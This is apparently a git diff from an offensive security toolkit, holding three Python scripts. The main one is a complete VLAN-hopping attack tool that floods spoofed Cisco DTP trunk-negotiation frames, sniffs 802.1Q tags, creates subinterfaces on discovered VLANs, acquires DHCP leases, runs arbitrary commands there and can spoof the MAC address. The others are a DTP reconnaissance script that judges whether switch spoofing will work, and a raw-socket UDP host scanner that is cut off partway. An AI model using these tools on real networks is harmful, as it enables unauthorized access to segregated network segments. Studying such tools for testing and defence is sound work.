print('[!] VLAN Hopping is not possible.')
|
||||||
|
ret = False
|
||||||
|
|
||||||
|
elif stat == 3:
|
||||||
|
Logger.ok('DTP enabled, Switchport in default configuration')
|
||||||
|
print('[+] VLAN Hopping is possible.')
|
||||||
|
|
||||||
|
elif stat == 4 or stat == 0x84:
|
||||||
|
Logger.ok('DTP enabled, Switchport in Dynamic Auto configuration')
|
||||||
|
print('[+] VLAN Hopping is possible.')
|
||||||
|
|
||||||
|
elif stat == 0x81:
|
||||||
|
Logger.ok('DTP enabled, Switchport in Trunk configuration')
|
||||||
|
print('[+] VLAN Hopping IS possible.')
|
||||||
|
|
||||||
|
elif stat == 0xa5:
|
||||||
|
Logger.info('DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration')
|
||||||
|
print('[?] VLAN Hopping may be possible.')
|
||||||
|
|
||||||
|
elif stat == 0x42:
|
||||||
|
Logger.info('DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
|
||||||
|
print('[?] VLAN Hopping may be possible.')
|
||||||
|
|
||||||
|
if ret:
|
||||||
|
print('[>] After Hopping to other VLANs - leave this program running to maintain connections.')
|
||||||
|
|
||||||
|
return ret
|
||||||
|
|
||||||
|
def floodTrunkingRequests():
|
||||||
|
while not stopThreads:
|
||||||
|
# Ethernet
|
||||||
|
dot3 = Dot3(src = config['macaddr'], dst = '01:00:0c:cc:cc:cc', len = 42)
|
||||||
|
|
||||||
|
# Logical-Link Control
|
||||||
|
llc = LLC(dsap = 0xaa, ssap = 0xaa, ctrl = 3)
|
||||||
|
|
||||||
|
# OUT = Cisco, Code = DTP
|
||||||
|
snap = SNAP(OUI = 0x0c, code = 0x2004)
|
||||||
|
|
||||||
|
# DTP, Status = Access/Desirable (3), Type: Trunk (3)
|
||||||
|
dtp = DTP(ver = 1, tlvlist = [
|
||||||
|
DTPDomain(length = 13, type = 1, domain = '\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'),
|
||||||
|
DTPStatus(status = '\\x03', length = 5, type = 2),
|
||||||
|
DTPType(length = 5, type = 3, dtptype = '\\xa5'),
|
||||||
|
DTPNeighbor(type = 4, neighbor = config['macaddr'], len = 10)
|
||||||
|
])
|
||||||
|
|
||||||
|
frame = dot3 / llc / snap / dtp
|
||||||
|
|
||||||
|
Logger.dbg('SENT: DTP Trunk Keep-Alive:\n{}'.format(frame.summary()))
|
||||||
|
send(frame, iface = config['interface'], verbose = False)
|
||||||
|
|
||||||
|
time.sleep(30)
|
||||||
|
|
||||||
|
def engageDot1qSniffer():
|
||||||
|
global dot1qSnifferStarted
|
||||||
|
|
||||||
|
if dot1qSnifferStarted:
|
||||||
|
return
|
||||||
|
|
||||||
|
dot1qSnifferStarted = True
|
||||||
|
|
||||||
|
Logger.info('Starting VLAN/802.1Q sniffer.')
|
||||||
|
|
||||||
|
sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW)
|
||||||
|
sock.bind((config['interface'], ETH_P_ALL))
|
||||||
|
enable_auxdata(sock)
|
||||||
|
|
||||||
|
print('[>] Discovering new VLANs...')
|
||||||
|
|
||||||
|
while not stopThreads:
|
||||||
|
buf = recv(sock, 65535)
|
||||||
|
pkt = Ether(buf)
|
||||||
|
|
||||||
|
if pkt.haslayer(Dot1Q):
|
||||||
|
dot1q = pkt.vlan
|
||||||
|
if dot1q not in vlansHijacked:
|
||||||
|
print('==> VLAN discovered: {}'.format(dot1q))
|
||||||
|
vlansHijacked.add(dot1q)
|
||||||
|
|
||||||
|
if not config['analyse']:
|
||||||
|
t = threading.Thread(target = addVlanIface, args = (dot1q, ))
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
else:
|
||||||
|
Logger.info('Analysis mode: Did not go any further.')
|
||||||
|
|
||||||
|
Logger.info('Stopped VLAN/802.1Q sniffer.')
|
||||||
|
|
||||||
|
def processDtps(dtps):
|
||||||
|
global attackEngaged
|
||||||
|
|
||||||
|
if stopThreads: return
|
||||||
|
|
||||||
|
if attackEngaged == False:
|
||||||
|
success = False
|
||||||
|
for dtp in dtps:
|
||||||
|
if dtp.haslayer(DTP):
|
||||||
|
if inspectPacket(dtp):
|
||||||
|
success = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if success:
|
||||||
|
Logger.ok('VLAN Hopping via Switch Spoofing may be possible.')
|
||||||
|
Logger.ok('Flooding with fake Access/Desirable DTP frames...\n')
|
||||||
|
|
||||||
|
t = threading.Thread(target = floodTrunkingRequests)
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
attackEngaged = True
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
if attackEngaged:
|
||||||
|
engageDot1qSniffer()
|
||||||
|
|
||||||
|
def launchCommand(subif, cmd):
|
||||||
|
# following placeholders in command:
|
||||||
|
# $GW (gateway),
|
||||||
|
# $MASK (full mask),
|
||||||
|
|
||||||
|
Logger.dbg('Subinterface: {}, Parsing command: "{}"'.format(subif, cmd))
|
||||||
|
|
||||||
|
if '%IFACE' in cmd: cmd = cmd.replace('%IFACE', subif)
|
||||||
|
if '%HWADDR' in cmd: cmd = cmd.replace('%HWADDR', getHwAddr(subif))
|
||||||
|
if '%IP' in cmd: cmd = cmd.replace('%IP', getIfaceIP(subif))
|
||||||
|
if '%NET' in cmd: cmd = cmd.replace('%NET', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $1}' | head -1"))
|
||||||
|
if '%MASK' in cmd: cmd = cmd.replace('%MASK', shell("route -n | grep " + subif + " | grep -v UG | awk '{print $3}' | head -1"))
|
||||||
|
if '%GW' in cmd: cmd = cmd.replace('%GW', shell("route -n | grep " + subif + " | grep UG | awk '{print $2}' | head -1"))
|
||||||
|
if '%CIDR' in cmd: cmd = cmd.replace('%CIDR', '/' + shell("ip addr show " + subif + " | grep inet | awk '{print $2}' | cut -d/ -f2"))
|
||||||
|
|
||||||
|
print('[>] Launching command: "{}"'.format(cmd))
|
||||||
|
shell(cmd)
|
||||||
|
|
||||||
|
def launchCommands(subif, commands):
|
||||||
|
for cmd in commands:
|
||||||
|
launchCommand(subif, cmd)
|
||||||
|
|
||||||
|
def addVlanIface(vlan):
|
||||||
|
global subinterfaces
|
||||||
|
global tempfiles
|
||||||
|
|
||||||
|
subif = '{}.{}'.format(config['interface'], vlan)
|
||||||
|
|
||||||
|
if subif in subinterfaces:
|
||||||
|
Logger.fail('Already created that subinterface: {}'.format(subif))
|
||||||
|
return
|
||||||
|
|
||||||
|
Logger.info('Creating new VLAN Subinterface for {}.'.format(vlan))
|
||||||
|
|
||||||
|
out = shell('vconfig add {} {}'.format(
|
||||||
|
config['interface'], vlan
|
||||||
|
))
|
||||||
|
|
||||||
|
if out.startswith('Added VLAN with VID == {}'.format(vlan)):
|
||||||
|
subinterfaces.add(subif)
|
||||||
|
|
||||||
|
pidFile = tempfile.NamedTemporaryFile().name
|
||||||
|
dbFile = tempfile.NamedTemporaryFile().name
|
||||||
|
|
||||||
|
tempfiles.append(pidFile)
|
||||||
|
tempfiles.append(dbFile)
|
||||||
|
|
||||||
|
Logger.info('So far so good, subinterface {} added.'.format(subif))
|
||||||
|
|
||||||
|
ret = False
|
||||||
|
for attempt in range(3):
|
||||||
|
Logger.dbg('Acquiring DHCP lease for {}'.format(subif))
|
||||||
|
|
||||||
|
shell('dhclient -lf {} -pf {} -r {}'.format(dbFile, pidFile, subif))
|
||||||
|
time.sleep(3)
|
||||||
|
|
||||||
|
if attempt > 0:
|
||||||
|
shell('dhclient -lf {} -pf {} -x {}'.format(dbFile, pidFile, subif))
|
||||||
|
time.sleep(3)
|
||||||
|
|
||||||
|
shell('dhclient -lf {} -pf {} {}'.format(dbFile, pidFile, subif))
|
||||||
|
|
||||||
|
time.sleep(3)
|
||||||
|
ip = getIfaceIP(subif)
|
||||||
|
|
||||||
|
if ip:
|
||||||
|
Logger.dbg('Subinterface has IP: {}'.format(ip))
|
||||||
|
ret = True
|
||||||
|
|
||||||
|
print('[+] Hopped to VLAN {}.: {}'.format(vlan, ip))
|
||||||
|
launchCommands(subif, config['commands'])
|
||||||
|
break
|
||||||
|
|
||||||
|
time.sleep(5)
|
||||||
|
|
||||||
|
if not ret:
|
||||||
|
Logger.fail('Could not acquire DHCP lease for: {}'.format(subif))
|
||||||
|
Logger.fail('Skipping...')
|
||||||
|
|
||||||
|
else:
|
||||||
|
Logger.fail('Failed.: "{}"'.format(out))
|
||||||
|
|
||||||
|
def packetCallback(pkt):
|
||||||
|
Logger.dbg('RECV: ' + pkt.summary())
|
||||||
|
|
||||||
|
def sniffThread():
|
||||||
|
global vlansHijacked
|
||||||
|
|
||||||
|
warnOnce = False
|
||||||
|
|
||||||
|
Logger.info('Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
|
||||||
|
config['count'], config['timeout']
|
||||||
|
))
|
||||||
|
|
||||||
|
while not stopThreads and not attackEngaged:
|
||||||
|
try:
|
||||||
|
dtps = sniff(
|
||||||
|
count = config['count'],
|
||||||
|
filter = 'ether[20:2] == 0x2004',
|
||||||
|
timeout = config['timeout'],
|
||||||
|
prn = packetCallback,
|
||||||
|
stop_filter = lambda x: x.haslayer(DTP) or stopThreads,
|
||||||
|
iface = config['interface']
|
||||||
|
)
|
||||||
|
except Exception as e:
|
||||||
|
if 'Network is down' in str(e):
|
||||||
|
break
|
||||||
|
Logger.err('Exception occured during sniffing: ' + str(e))
|
||||||
|
|
||||||
|
if len(dtps) == 0 and not warnOnce:
|
||||||
|
Logger.fail('It seems like there was no DTP frames transmitted.')
|
||||||
|
Logger.fail('VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
|
||||||
|
Logger.info('\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
|
||||||
|
Logger.info('\tSWITCH(config-if)# switchport mode access')
|
||||||
|
warnOnce = True
|
||||||
|
|
||||||
|
if len(dtps) > 0 or config['force']:
|
||||||
|
if len(dtps) > 0:
|
||||||
|
Logger.dbg('Got {} DTP frames.\n'.format(
|
||||||
|
len(dtps)
|
||||||
|
))
|
||||||
|
else:
|
||||||
|
Logger.info('Forced mode: Beginning attack blindly.')
|
||||||
|
|
||||||
|
t = threading.Thread(target = processDtps, args = (dtps, ))
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
Logger.dbg('Stopped sniffing.')
|
||||||
|
|
||||||
|
def getHwAddr(ifname):
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
info = fcntl.ioctl(s.fileno(), 0x8927, struct.pack('256s', ifname[:15]))
|
||||||
|
return ':'.join(['%02x' % ord(char) for char in info[18:24]])
|
||||||
|
|
||||||
|
def getIfaceIP(iface):
|
||||||
|
out = shell("ip addr show " + iface + " | grep inet | awk '{print $2}' | head -1 | cut -d/ -f1")
|
||||||
|
Logger.dbg('Interface: {} has IP: {}'.format(iface, out))
|
||||||
|
return out
|
||||||
|
|
||||||
|
def changeMacAddress(iface, mac):
|
||||||
|
old = getHwAddr(iface)
|
||||||
|
Logger.dbg('Changing MAC address of interface {}, from: {} to: {}'.format(
|
||||||
|
iface, old, mac
|
||||||
|
))
|
||||||
|
shell('ifconfig {} down'.format(iface))
|
||||||
|
shell('ifconfig {} hw ether {}'.format(iface, mac))
|
||||||
|
shell('ifconfig {} up'.format(iface))
|
||||||
|
|
||||||
|
ret = old != getHwAddr(iface)
|
||||||
|
if ret:
|
||||||
|
Logger.dbg('Changed.')
|
||||||
|
else:
|
||||||
|
Logger.dbg('Not changed.')
|
||||||
|
|
||||||
|
return ret
|
||||||
|
|
||||||
|
def assure8021qCapabilities():
|
||||||
|
if ('not found' in shell('modprobe -n 8021q')):
|
||||||
|
Logger.err('There is no kernel module named: "8021q". Fatal error.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not shell('which vconfig'):
|
||||||
|
Logger.err('There is no "vconfig" utility. Package required: "vconfig". Fatal error.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
shell('modprobe 8021q')
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def shell(cmd):
|
||||||
|
out = commands.getstatusoutput(cmd)[1]
|
||||||
|
Logger.dbg('shell("{}") returned:\n"{}"'.format(cmd, out))
|
||||||
|
return out
|
||||||
|
|
||||||
|
def selectDefaultInterface():
|
||||||
|
global config
|
||||||
|
commands = {
|
||||||
|
'ip' : "ip route show | grep default | awk '{print $5}' | head -1",
|
||||||
|
'ifconfig': "route -n | grep 0.0.0.0 | grep 'UG' | awk '{print $8}' | head -1",
|
||||||
|
}
|
||||||
|
|
||||||
|
for k, v in commands.items():
|
||||||
|
out = shell(v)
|
||||||
|
if len(out) > 0:
|
||||||
|
Logger.info('Default interface lookup command returned:\n{}'.format(out))
|
||||||
|
config['interface'] = out
|
||||||
|
return out
|
||||||
|
|
||||||
|
return ''
|
||||||
|
|
||||||
|
def cleanup():
|
||||||
|
if config['origmacaddr'] != config['macaddr']:
|
||||||
|
Logger.dbg('Restoring original MAC address...')
|
||||||
|
changeMacAddress(config['interface'], config['origmacaddr'])
|
||||||
|
|
||||||
|
for subif in subinterfaces:
|
||||||
|
Logger.dbg('Removing subinterface: {}'.format(subif))
|
||||||
|
|
||||||
|
launchCommands(subif, config['exitcommands'])
|
||||||
|
shell('vconfig rem {}'.format(subif))
|
||||||
|
|
||||||
|
Logger.dbg('Removing temporary files...')
|
||||||
|
for file in tempfiles:
|
||||||
|
os.remove(file)
|
||||||
|
|
||||||
|
def parseOptions(argv):
|
||||||
|
print('''
|
||||||
|
:: VLAN Hopping via DTP Trunk negotiation
|
||||||
|
Performs VLAN Hopping via negotiated DTP Trunk / Switch Spoofing technique
|
||||||
|
Mariusz B. / mgeeky, '18
|
||||||
|
v{}
|
||||||
|
'''.format(VERSION))
|
||||||
|
|
||||||
|
parser = argparse.ArgumentParser(prog = argv[0], usage='%(prog)s [options]')
|
||||||
|
parser.add_argument('-i', '--interface', metavar='DEV', default='', help='Select interface on which to operate.')
|
||||||
|
parser.add_argument('-e', '--execute', dest='command', metavar='CMD', default=[], action='append', help='Launch specified command after hopping to new VLAN. One can use one of following placeholders in command: %%IFACE (choosen interface), %%IP (acquired IP), %%NET (net address), %%HWADDR (MAC), %%GW (gateway), %%MASK (full mask), %%CIDR (short mask). For instance: -e "arp-scan -I %%IFACE %%NET%%CIDR". May be repeated for more commands. The command will be launched SYNCHRONOUSLY, meaning - one have to append "&" at the end to make the script go along.')
|
||||||
|
parser.add_argument('-E', '--exit-execute', dest='exitcommand', metavar='CMD', default=[], action='append', help='Launch specified command at the end of this script (during cleanup phase).')
|
||||||
|
parser.add_argument('-m', '--mac-address', metavar='HWADDR', dest='mac', default='', help='Changes MAC address of the interface before and after attack.')
|
||||||
|
parser.add_argument('-f', '--force', action='store_true', help='Attempt VLAN Hopping even if DTP was not detected (like in Nonegotiate situation).')
|
||||||
|
parser.add_argument('-a', '--analyse', action='store_true', help='Analyse mode: do not create subinterfaces, don\'t ask for DHCP leases.')
|
||||||
|
parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.')
|
||||||
|
parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.')
|
||||||
|
|
||||||
|
args = parser.parse_args()
|
||||||
|
|
||||||
|
config['verbose'] = args.verbose
|
||||||
|
config['debug'] = args.debug
|
||||||
|
config['analyse'] = args.analyse
|
||||||
|
config['force'] = args.force
|
||||||
|
config['interface'] = args.interface
|
||||||
|
config['commands'] = args.command
|
||||||
|
config['exitcommands'] = args.exitcommand
|
||||||
|
|
||||||
|
return args
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
global config
|
||||||
|
global stopThreads
|
||||||
|
|
||||||
|
opts = parseOptions(argv)
|
||||||
|
if not opts:
|
||||||
|
Logger.err('Options parsing failed.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
if os.getuid() != 0:
|
||||||
|
Logger.err('This program must be run as root.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
load_contrib('dtp')
|
||||||
|
|
||||||
|
if not assure8021qCapabilities():
|
||||||
|
Logger.err('Unable to proceed.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
if not opts.interface:
|
||||||
|
if not selectDefaultInterface():
|
||||||
|
Logger.err('Could not find suitable interface. Please specify it.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
print('[>] Interface to work on: "{}"'.format(config['interface']))
|
||||||
|
|
||||||
|
config['origmacaddr'] = config['macaddr'] = getHwAddr(config['interface'])
|
||||||
|
if not config['macaddr']:
|
||||||
|
Logger.err('Could not acquire MAC address of interface: "{}"'.format(
|
||||||
|
config['interface']
|
||||||
|
))
|
||||||
|
return False
|
||||||
|
else:
|
||||||
|
Logger.dbg('Interface "{}" has MAC address: "{}"'.format(
|
||||||
|
config['interface'], config['macaddr']
|
||||||
|
))
|
||||||
|
|
||||||
|
config['inet'] = getIfaceIP(config['interface'])
|
||||||
|
if not config['inet']:
|
||||||
|
Logger.fail('Could not acquire interface\'s IP address! Proceeding...')
|
||||||
|
|
||||||
|
oldMac = config['macaddr']
|
||||||
|
if opts.mac:
|
||||||
|
oldMac = changeMacAddress(config['interface'], opts.mac)
|
||||||
|
if oldMac:
|
||||||
|
config['macaddr'] = opts.mac
|
||||||
|
else:
|
||||||
|
Logger.err('Could not change interface\'s MAC address!')
|
||||||
|
return False
|
||||||
|
|
||||||
|
t = threading.Thread(target = sniffThread)
|
||||||
|
t.daemon = True
|
||||||
|
t.start()
|
||||||
|
|
||||||
|
try:
|
||||||
|
while True:
|
||||||
|
pass
|
||||||
|
except KeyboardInterrupt:
|
||||||
|
print('\n[>] Cleaning up...')
|
||||||
|
|
||||||
|
stopThreads = True
|
||||||
|
time.sleep(3)
|
||||||
|
|
||||||
|
cleanup()
|
||||||
|
return True
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
|
@ -0,0 +1,155 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#
|
||||||
|
# Simple script showing configuration of the DTP protocol on
|
||||||
|
# the switch's port. This reconessaince will be helpful for performing
|
||||||
|
# VLAN Hopping attacks.
|
||||||
|
#
|
||||||
|
# Mariusz B. / mgeeky, '18
|
||||||
|
#
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
from scapy.all import *
|
||||||
|
|
||||||
|
config = {
|
||||||
|
'count' : 10,
|
||||||
|
'timeout' : 90
|
||||||
|
}
|
||||||
|
|
||||||
|
ciscoConfigMaps = {
|
||||||
|
2: '''
|
||||||
|
ACCESS/OFF/ACCESS
|
||||||
|
Administrative Mode: static access
|
||||||
|
Operational Mode: static access
|
||||||
|
Administrative Trunking Encapsulation: dot1q
|
||||||
|
Operational Trunking Encapsulation: native
|
||||||
|
Negotiation of Trunking: Off''',
|
||||||
|
|
||||||
|
3: '''
|
||||||
|
ACCESS/DESIRABLE/ACCESS
|
||||||
|
Administrative Mode: dynamic desirable
|
||||||
|
Operational Mode: static access
|
||||||
|
Administrative Trunking Encapsulation: dot1q
|
||||||
|
Operational Trunking Encapsulation: native
|
||||||
|
Negotiation of Trunking: On''',
|
||||||
|
4: '''
|
||||||
|
ACCESS/AUTO/ACCESS
|
||||||
|
Administrative Mode: dynamic auto
|
||||||
|
Operational Mode: static access
|
||||||
|
Administrative Trunking Encapsulation: dot1q
|
||||||
|
Operational Trunking Encapsulation: native
|
||||||
|
Negotiation of Trunking: On''',
|
||||||
|
|
||||||
|
0x81: '''
|
||||||
|
TRUNK/ON/TRUNK
|
||||||
|
Administrative Mode: trunk
|
||||||
|
Operational Mode: trunk
|
||||||
|
Administrative Trunking Encapsulation: dot1q
|
||||||
|
Operational Trunking Encapsulation: dot1q
|
||||||
|
Negotiation of Trunking: On''',
|
||||||
|
}
|
||||||
|
|
||||||
|
def showConfig(stat):
|
||||||
|
if stat in ciscoConfigMaps.keys():
|
||||||
|
print(ciscoConfigMaps[stat])
|
||||||
|
|
||||||
|
def inspectPacket(dtp):
|
||||||
|
tlvs = dtp['DTP'].tlvlist
|
||||||
|
|
||||||
|
stat = -1
|
||||||
|
for tlv in tlvs:
|
||||||
|
if tlv.type == 2:
|
||||||
|
# TLV: DTPStatus
|
||||||
|
stat = ord(tlv.status)
|
||||||
|
break
|
||||||
|
|
||||||
|
print(' ' + '=' * 60)
|
||||||
|
if stat == -1:
|
||||||
|
print('[!] Something went wrong: Got invalid DTP packet.')
|
||||||
|
print(' ' + '=' * 60)
|
||||||
|
return False
|
||||||
|
|
||||||
|
elif stat == 2:
|
||||||
|
print('[-] DTP disabled, Switchport in Access mode configuration')
|
||||||
|
print('[-] VLAN Hopping via Switch Spoofing/trunking IS NOT possible.')
|
||||||
|
print('\n\tSWITCH(config-if)# switchport mode access')
|
||||||
|
|
||||||
|
elif stat == 3:
|
||||||
|
print('[+] DTP enabled, Switchport in default configuration')
|
||||||
|
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
|
||||||
|
print('\n\tSWITCH(config-if)# switchport dynamic desirable (or none)')
|
||||||
|
|
||||||
|
elif stat == 4 or stat == 0x84:
|
||||||
|
print('[+] DTP enabled, Switchport in Dynamic Auto configuration')
|
||||||
|
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
|
||||||
|
print('\n\tSWITCH(config-if)# switchport mode dynamic auto')
|
||||||
|
|
||||||
|
elif stat == 0x81:
|
||||||
|
print('[+] DTP enabled, Switchport in Trunk configuration')
|
||||||
|
print('[+] VLAN Hopping via Switch Spoofing/trunking IS POSSIBLE.')
|
||||||
|
print('\n\tSWITCH(config-if)# switchport mode trunk')
|
||||||
|
|
||||||
|
elif stat == 0xa5:
|
||||||
|
print('[?] DTP enabled, Switchport in Trunk with 802.1Q encapsulation forced configuration')
|
||||||
|
print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.')
|
||||||
|
print('\n\tSWITCH(config-if)# switchport mode trunk 802.1Q')
|
||||||
|
|
||||||
|
elif stat == 0x42:
|
||||||
|
print('[?] DTP enabled, Switchport in Trunk with ISL encapsulation forced configuration')
|
||||||
|
print('[?] VLAN Hopping via Switch Spoofing/trunking may be possible.')
|
||||||
|
print('\n\tSWITCH(config-if)# switchport mode trunk ISL')
|
||||||
|
|
||||||
|
showConfig(stat)
|
||||||
|
print(' ' + '=' * 60)
|
||||||
|
|
||||||
|
return True
|
||||||
|
|
||||||
|
def packetCallback(pkt):
|
||||||
|
print('[>] Packet: ' + pkt.summary())
|
||||||
|
|
||||||
|
def main(argv):
|
||||||
|
if os.getuid() != 0:
|
||||||
|
print('[!] This program must be run as root.')
|
||||||
|
return False
|
||||||
|
|
||||||
|
load_contrib('dtp')
|
||||||
|
|
||||||
|
print('[*] Sniffing for DTP frames (Max count: {}, Max timeout: {} seconds)...'.format(
|
||||||
|
config['count'], config['timeout']
|
||||||
|
))
|
||||||
|
|
||||||
|
dtps = sniff(
|
||||||
|
count = config['count'],
|
||||||
|
filter = 'ether[20:2] == 0x2004',
|
||||||
|
timeout = config['timeout'],
|
||||||
|
prn = packetCallback,
|
||||||
|
stop_filter = lambda x: x.haslayer(DTP)
|
||||||
|
)
|
||||||
|
|
||||||
|
if len(dtps) == 0:
|
||||||
|
print('[-] It seems like there was no DTP frames transmitted.')
|
||||||
|
print('[-] VLAN Hopping may not be possible (unless Switch is in Non-negotiate state):')
|
||||||
|
print('\n\tSWITCH(config-if)# switchport nonnegotiate\t/ or / ')
|
||||||
|
print('\tSWITCH(config-if)# switchport mode access')
|
||||||
|
return False
|
||||||
|
|
||||||
|
print('[*] Got {} DTP frames.\n'.format(
|
||||||
|
len(dtps)
|
||||||
|
))
|
||||||
|
|
||||||
|
success = False
|
||||||
|
for dtp in dtps:
|
||||||
|
if dtp.haslayer(DTP):
|
||||||
|
if inspectPacket(dtp):
|
||||||
|
success = True
|
||||||
|
break
|
||||||
|
|
||||||
|
if not success:
|
||||||
|
print('[-] Received possibly corrupted DTP frames! General failure.')
|
||||||
|
|
||||||
|
print('')
|
||||||
|
return success
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main(sys.argv)
|
|
@ -0,0 +1,257 @@
|
||||||
|
#!/usr/bin/python
|
||||||
|
|
||||||
|
#
|
||||||
|
# Simple UDP scanner determining whether scanned host replies with
|
||||||
|
# ICMP Desitnation Unreachable upon receiving UDP packet on some high, closed port.
|
||||||
|
#
|
||||||
|
# Based on "Black Hat Python" book by Justin Seitz.
|
||||||
|
#
|
||||||
|
# Mariusz B.
|
||||||
|
#
|
||||||
|
|
||||||
|
import os
|
||||||
|
import sys
|
||||||
|
import time
|
||||||
|
import ctypes
|
||||||
|
import struct
|
||||||
|
import socket
|
||||||
|
import threading
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
try:
|
||||||
|
from netaddr import IPNetwork, IPAddress
|
||||||
|
except ImportError:
|
||||||
|
print('[!] No module named "netaddr". Please type:\n\tpip install netaddr')
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
DEBUG = False
|
||||||
|
|
||||||
|
# Ports that will be used during scanning, considered as most likely closed ports.
|
||||||
|
SCAN_PORTS = range(65212, 65220)
|
||||||
|
|
||||||
|
HOSTS_UP = set()
|
||||||
|
MAGIC_MESSAGE = '\xec\xcb\x5c\x6f\x41\xbe\x2e\x71\x9e\xd1'
|
||||||
|
|
||||||
|
|
||||||
|
class ICMP(ctypes.Structure):
|
||||||
|
_fields_ = [
|
||||||
|
('type', ctypes.c_ubyte),
|
||||||
|
('code', ctypes.c_ubyte),
|
||||||
|
('chksum', ctypes.c_ushort),
|
||||||
|
('unused', ctypes.c_ushort),
|
||||||
|
('nexthop', ctypes.c_ushort)
|
||||||
|
]
|
||||||
|
|
||||||
|
def __new__(self, sockBuff = None):
|
||||||
|
return self.from_buffer_copy(sockBuff)
|
||||||
|
|
||||||
|
def __init__(self, sockBuff = None):
|
||||||
|
self.types_map = {
|
||||||
|
0:'Echo Reply',1:'Unassigned',2:'Unassigned ',3:'Destination Unreachable',
|
||||||
|
4:'Source Quench',5:'Redirect',6:'Alternate Host Address',7:'Unassigned',
|
||||||
|
8:'Echo',9:'Router Advertisement',10:'Router Solicitation',11:'Time Exceeded',
|
||||||
|
12:'Parameter Problem',13:'Timestamp',14:'Timestamp Reply',15:'Information Request',
|
||||||
|
16:'Information Reply',17:'Address Mask Request',18:'Address Mask Reply',
|
||||||
|
30:'Traceroute',31:'Datagram Conversion Error',32:'Mobile Host Redirect',
|
||||||
|
33:'IPv6 Where-Are-You',34:'IPv6 I-Am-Here',35:'Mobile Registration Request',
|
||||||
|
36:'Mobile Registration Reply',37:'Domain Name Request',38:'Domain Name Reply',
|
||||||
|
39:'SKIP',40:'Photuris'
|
||||||
|
}
|
||||||
|
|
||||||
|
# Human readable protocol
|
||||||
|
try:
|
||||||
|
self.message = self.types_map[self.type]
|
||||||
|
except:
|
||||||
|
self.message = str('')
|
||||||
|
|
||||||
|
#
|
||||||
|
# IPv4 packet structure definition in ctypes.
|
||||||
|
#
|
||||||
|
class IP(ctypes.Structure):
|
||||||
|
_fields_ = [
|
||||||
|
('ihl', ctypes.c_ubyte, 4),
|
||||||
|
('version', ctypes.c_ubyte, 4),
|
||||||
|
('tos', ctypes.c_ubyte),
|
||||||
|
('len', ctypes.c_ushort),
|
||||||
|
('id', ctypes.c_ushort),
|
||||||
|
('offset', ctypes.c_ushort),
|
||||||
|
('ttl', ctypes.c_ubyte),
|
||||||
|
('protocol_num', ctypes.c_ubyte),
|
||||||
|
('sum', ctypes.c_ushort),
|
||||||
|
('src', ctypes.c_ulong),
|
||||||
|
('dst', ctypes.c_ulong)
|
||||||
|
]
|
||||||
|
|
||||||
|
def __new__(self, socketBuffer = None):
|
||||||
|
return self.from_buffer_copy(socketBuffer)
|
||||||
|
|
||||||
|
def __init__(self, socketBuffer = None):
|
||||||
|
# Map protocol constants to their names.
|
||||||
|
self.protocol_map = {
|
||||||
|
0:'HOPOPT',1:'ICMP',2:'IGMP',3:'GGP',4:'IPv4',5:'ST',6:'TCP',7:'CBT',8:'EGP',
|
||||||
|
9:'IGP',10:'BBN-RCC-MON',11:'NVP-II',12:'PUP',13:'ARGUS',14:'EMCON',15:'XNET',16:'CHAOS',
|
||||||
|
17:'UDP',18:'MUX',19:'DCN-MEAS',20:'HMP',21:'PRM',22:'XNS-IDP',23:'TRUNK-1',24:'TRUNK-2',
|
||||||
|
25:'LEAF-1',26:'LEAF-2',27:'RDP',28:'IRTP',29:'ISO-TP4',30:'NETBLT',31:'MFE-NSP',32:'MERIT-INP',
|
||||||
|
33:'DCCP',34:'3PC',35:'IDPR',36:'XTP',37:'DDP',38:'IDPR-CMTP',39:'TP++',40:'IL',
|
||||||
|
41:'IPv6',42:'SDRP',43:'IPv6-Route',44:'IPv6-Frag',45:'IDRP',46:'RSVP',47:'GRE',48:'DSR',
|
||||||
|
49:'BNA',50:'ESP',51:'AH',52:'I-NLSP',53:'SWIPE',54:'NARP',55:'MOBILE',56:'TLSP',
|
||||||
|
57:'SKIP',58:'IPv6-ICMP',59:'IPv6-NoNxt',60:'IPv6-Opts',62:'CFTP',64:'SAT-EXPAK',
|
||||||
|
65:'KRYPTOLAN',66:'RVD',67:'IPPC',69:'SAT-MON',70:'VISA',71:'IPCV',72:'CPNX',
|
||||||
|
73:'CPHB',74:'WSN',75:'PVP',76:'BR-SAT-MON',77:'SUN-ND',78:'WB-MON',79:'WB-EXPAK',80:'ISO-IP',
|
||||||
|
81:'VMTP',82:'SECURE-VMTP',83:'VINES',84:'TTP',84:'IPTM',85:'NSFNET-IGP',86:'DGP',87:'TCF',88:'EIGRP',
|
||||||
|
